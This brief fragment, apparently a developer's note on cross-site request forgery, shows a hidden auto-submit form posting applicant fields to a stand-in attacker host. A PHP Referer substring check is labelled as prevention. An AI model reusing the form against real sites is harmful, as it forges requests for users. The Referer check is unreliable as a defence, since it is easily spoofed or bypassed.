Command Center

<?php 

<form method="post" action="http://attacker.sample.com/confirm2.php">
<input type="submit" value="go" />
<input type="hidden" name="save" value="1" />
<input type="hidden" name="applicant_first_name" value="zzzzzzz" />
</form>

Prevention:
if (!stristr ($_SERVER['HTTP_REFERER'], "local.hostname.com")) {
   exit;
}